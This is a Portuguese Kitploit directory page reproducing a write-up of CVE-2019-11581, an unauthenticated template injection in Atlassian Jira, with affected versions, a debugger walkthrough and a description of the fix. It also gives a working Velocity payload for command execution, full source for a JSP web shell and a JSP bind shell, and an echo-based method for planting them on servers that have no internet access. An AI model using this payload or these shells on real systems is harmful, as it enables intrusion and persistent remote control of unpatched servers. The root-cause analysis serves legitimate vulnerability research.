Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2019-11581 — Injeção de template não autenticada no Atlassian Jira | Kitploit
Ferramentas/GitHubGitHub/petrusviet/cve-2019-11581
Análise de VulnerabilidadesExploraçãoShellcodeExploração de Aplicações WebAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubpetrusviet/cve-2019-11581

CVE-2019-11581

Injeção de template não autenticada no Atlassian Jira

Ver Repositório
6259há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Injeção de template não autenticada no Atlassian Jira (CVE-2019-11581)

I) Construção

1. Versão do bug

root@kitploit:~
4.4.x
5.x.x
6.x.x
7.0.x
7.1.x
7.2.x
7.3.x
7.4.x
7.5.x
7.6.x anterior a 7.6.14 (versão corrigida para 7.6.x)
7.7.x
7.8.x
7.9.x
7.10.x
7.11.x
7.12.x
7.13.x anterior a 7.13.5 (versão corrigida para 7.13.x)
8.0.x anterior a 8.0.3 (versão corrigida para 8.0.x)
8.1.x anterior a 8.1.2 (versão corrigida para 8.1.x)
8.2.x anterior a 8.2.3 (versão corrigida para 8.2.x)

2. Construir e depurar

  • Modifique o valor set JVM_SUPPORT_RECOMMENDED_ARGS= no arquivo ./bin/setenv.bat (ou similar com o arquivo ./bin/setenv.sh do Linux) para executar a depuração remota
root@kitploit:~
set JVM_SUPPORT_RECOMMENDED_ARGS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
  • No IDE (Intellij) crie uma Configuração de Depuração: Remote JVM Debug com os valores host e port como localhost:5005 e Command line arguments for remote JVM
root@kitploit:~
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
  • Execute o arquivo ./bin/config.bat (ou com o arquivo config.sh no Linux) e ajuste "Jira home" para o diretório do seu jira home image

  • Execute o arquivo ./bin/start-jira.bat (ou ./bin/start-jira.sh no Linux). Verifique se a versão do Java e as portas 8080 e 5005 estão livres, caso contrário não conseguirá executar!

  • Selecione o modo privado image

  • Até esta etapa, lembre-se de usar um endereço de e-mail que possa receber e-mails :) image

  • Configure e teste a conexão completamente image

  • Em http://localhost:8080/secure/admin/EditApplicationProperties!default.jspa ative o recurso Contact Administrators Form image

  • Apenas anoto alguns lembretes ao construir, você pode consultar construindo jira a partir do código fonte

II) Análise

Após ler o Advisory sabemos que esse bug está no ContactAdministrators e no SendBulkMail (este eu pulo porque requer autenticação). Então comecei a testar o recurso ContactAdministrators e capturei a requisição

image

  • Vejo que a requisição vai para /secure/ContactAdministrators.jspa, então verifico o arquivo ./atlassian-jira/WEB-INF/web.xml para ver para qual classe essa requisição será encaminhada
    image
    image

  • Assim, a requisição será processada em JiraWebworkActionDispatcher, então coloco um breakpoint em init e server nesta classe e executo a depuração image

  • Dessa forma, o programa parou na função server, tracei um pouco e o programa entrou em ContactAdministrators.doExecute() image

  • Depois passou para send, onde o programa lista as contas de administrador ativas image

  • Em seguida, o programa passa para a função sendTo. Aqui vemos que o programa cria um MailQueueItem e o adiciona na mailQueue. image

  • O programa chama a função EmailBuilder.withSubject. Aqui, a string subject do e-mail (enviada pelo atacante) é convertida de String para TemplateSources e atribuída ao parâmetro subjectTemplate do EmailBuilder. image

  • Na função renderLater, o programa cria um EmailRenderer e o usa para criar um RenderingMailQueueItem image

  • A partir daqui, ao retornar para a função ContactAdministrators.sendTo. Após criar um MailQueueItem, o programa adiciona o item na mailQueue e retorna para a função doExecute para Redirecionar. Se seguir este fluxo de depuração, não é possível pular para a parte onde o programa renderiza o e-mail, portanto não consigo chegar à parte onde ocorre a injeção de template. Então, o que devo fazer para acompanhar o processamento do e-mail???

  • Vejo que no EmailRenderer existe a função renderNow (o programa apenas chama renderLater). Suponho que quando o e-mail na fila é chamado para ser renderizado, ele também seguirá o mesmo fluxo que renderNow, então decidi traçar a partir da função renderNow image

  • A partir de renderNow, o programa chama EmailRenderer.render(). Coloco um breakpoint aqui e faço a requisição novamente para ver se o programa realmente chega até aqui image

  • Felizmente, o programa seguiu o caminho que supus. Em seguida, o programa chama renderEmailSubject image

  • Na sequência, o programa chama DefaultVelocityTemplatingEngine.render(this.subjectTemplate) image

  • Chega em DefaultVelocityTemplatingEngine.applying e DefaultVelocityTemplatingEngine.asPlainText image

  • Continua chamando asPlainText(Writer writer) image

  • Chega em toWriterImpl porque o writer que passei é um Fragment, então o programa entra no else

root@kitploit:~
private void toWriterImpl(Writer writer, boolean attachCartridge) throws IOException {
            if (this.source instanceof File) {
                File template = (File)this.source;
                if (attachCartridge) {
                    this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
                }

                DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBody(writer, template.getPath(), "", DefaultVelocityTemplatingEngine.this.applicationProperties.getEncoding(), this.context);
            } else if (this.source instanceof Fragment) {
                Fragment fragment = (Fragment)this.source;
                if (attachCartridge) {
                    this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
                }

                DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBodyForContent(writer, fragment.getContent(), this.context);
            }

        }
  • E chama DefaultVelocityManager.writeEncodedBodyForContent image
  • Continua para VelocityEngine.evaluate -> RuntimeInstance.evaluate(Context, Writer, String, String) -> RuntimeInstance.evaluate(Context, Writer, String, Reader). Aqui, o programa cria um SimpleNode a partir do Reader image
  • O programa executa a função render, onde chama nodeTree.render(ica, writer); para fazer o parsing do template Velocity, portanto aqui é possível realizar injeção de template!
root@kitploit:~
public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) throws IOException {
        InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
        ica.pushCurrentTemplateName(logTag);

        try {
            try {
                nodeTree.init(ica, this);
            } catch (TemplateInitException var13) {
                throw new ParseErrorException(var13);
            } catch (RuntimeException var14) {
                throw var14;
            } catch (Exception var15) {
                String msg = "RuntimeInstance.render(): init exception for tag = " + logTag;
                this.getLog().error(msg, var15);
                throw new VelocityException(msg, var15);
            }

            nodeTree.render(ica, writer);       ### Possível RCE aqui ###
        } finally {
            ica.popCurrentTemplateName();
        }

        return true;
    }
  • Substituo o subject do e-mail de contato pelo payload do template Velocity:
root@kitploit:~
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('calc').waitFor()

image

  • E provamos com sucesso o PoC :) image

Stack call

root@kitploit:~
ContactAdministrators:	doExecute -> send -> sendTo
	-> EmailBuilder -> renderLater
	
RenderingMailQueueItem: send
	-> emailRenderer: render -> renderEmailSubject
		-> DefaultVelocityTemplatingEngine: asPlainText -> asPlainText(Writer writer) -> toWriterImpl
			-> DefaultVelocityManager: writeEncodedBodyForContent
				->VelocityEngine: evaluate
					> RuntimeInstance: evaluate -> evaluate -> render
						=>  SimpleNode: render
	

Assim, conseguimos realizar RCE no servidor Jira. Porém, se quisermos um shell e nos depararmos com uma situação em que o servidor não tenha saída para internet, o que fazer? Nesse caso, não podemos criar um bind/reverse shell comum, pois não temos portas para acessar a internet.

Recebi uma dica do colega @honson97: "usar um web jsp para receber entrada do atacante e então encaminhá-la para um bind shell que opera de forma independente e escuta no próprio localhost do servidor".

image

A partir dessa ideia, codifiquei dois arquivos jsp: web.jsp e bind.jsp. bind.jsp atua como um shell cego, sempre ouvindo em localhost:4444, recebendo comandos via cmd/base e retornando o resultado para o web jsp web.jsp, enquanto o web jsp é a ferramenta para o atacante inserir/saída de comandos.

arquivo: web.jsp

root@kitploit:~
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
  Socket socket = new Socket( "127.0.0.1", 4444 );
  
  OutputStream output = socket.getOutputStream();
  PrintWriter writer = new PrintWriter(output, true);
  writer.println(request.getParameter("cmd"));
  
  InputStream input = socket.getInputStream();
  DataInputStream dis = new DataInputStream(input);
  String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr); 
        disr = dis.readLine(); 
    }
        
	socket.close();
  
%>

arquivo: bind.jsp

root@kitploit:~
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>

<%
  class StreamConnector 
  {
    InputStream md;
    OutputStream ao;

    StreamConnector( InputStream md, OutputStream ao )
    {
      this.md = md;
      this.ao = ao;
    }

    public void run()
    {
      BufferedReader yw  = null;
      BufferedWriter enf = null;
      try
      {
        yw  = new BufferedReader( new InputStreamReader( this.md ) );
        enf = new BufferedWriter( new OutputStreamWriter( this.ao ) );
        char buffer[] = new char[8192];
        int length  = yw.read( buffer, 0, buffer.length); 
        enf.write( buffer, 0, length );
        enf.flush();
      } catch( Exception e ){}
      
    }
	
  }

  try
  {
    String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
  ShellPath = new String("/bin/sh");
} else {
  ShellPath = new String("cmd.exe");
}

    ServerSocket server_socket = new ServerSocket(4444,1048576,InetAddress.getByName((String)"127.0.0.1") );
	
    Process process = Runtime.getRuntime().exec( ShellPath );
		
    while (true) {
     Socket client_socket = server_socket.accept();
	 ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).run();
	 
	  Thread.sleep(1000);
	  
	 ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).run();
	
      client_socket.close();
    }

  } catch( Exception e ) {}
  
%>

Em seguida, fazer upload do shell para o servidor. Como estamos considerando o caso em que o servidor não tem saída para internet, só podemos fazer upload de arquivos usando o comando echo. Primeiro, removo os caracteres "\n" e Escape Characters especiais (com python)

root@kitploit:~
a = """ copie-o-arquivo-aqui """
a = a.replace("\n", " ").replace("\t", " ").replace(">", "^>").replace("<", "^<")
print(a)

depois copio a string obtida e coloco no payload

root@kitploit:~
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('echo STRING-ACIMA > ../atlassian-jira/web.jsp').waitFor()

Após fazer upload dos dois arquivos web.jsp e bind.jsp. Acesse /bind.jsp e depois, em outra aba, acesse /web.jsp?cmd=COMANDO para testar o shell image

Correção

Em ContactAdministrators.sendTo(), em vez de passar diretamente a entrada do cliente para a função EmailBuilder.withSubject para ser convertida em fontes de template (que podem ser renderizadas), na versão corrigida os desenvolvedores colocaram a entrada como um contexto de string e apenas passaram a string "$subject" para a função EmailBuilder.withSubject. Ao renderizar, o sistema executa o template "$subject", ou seja, carrega o subject - contexto de string (entrada do cliente) sem renderizá-los. Em outras palavras, o programa carrega a entrada como uma string, não como um template renderizável.

image Versão com bug

image Versão corrigida

Baixar ferramenta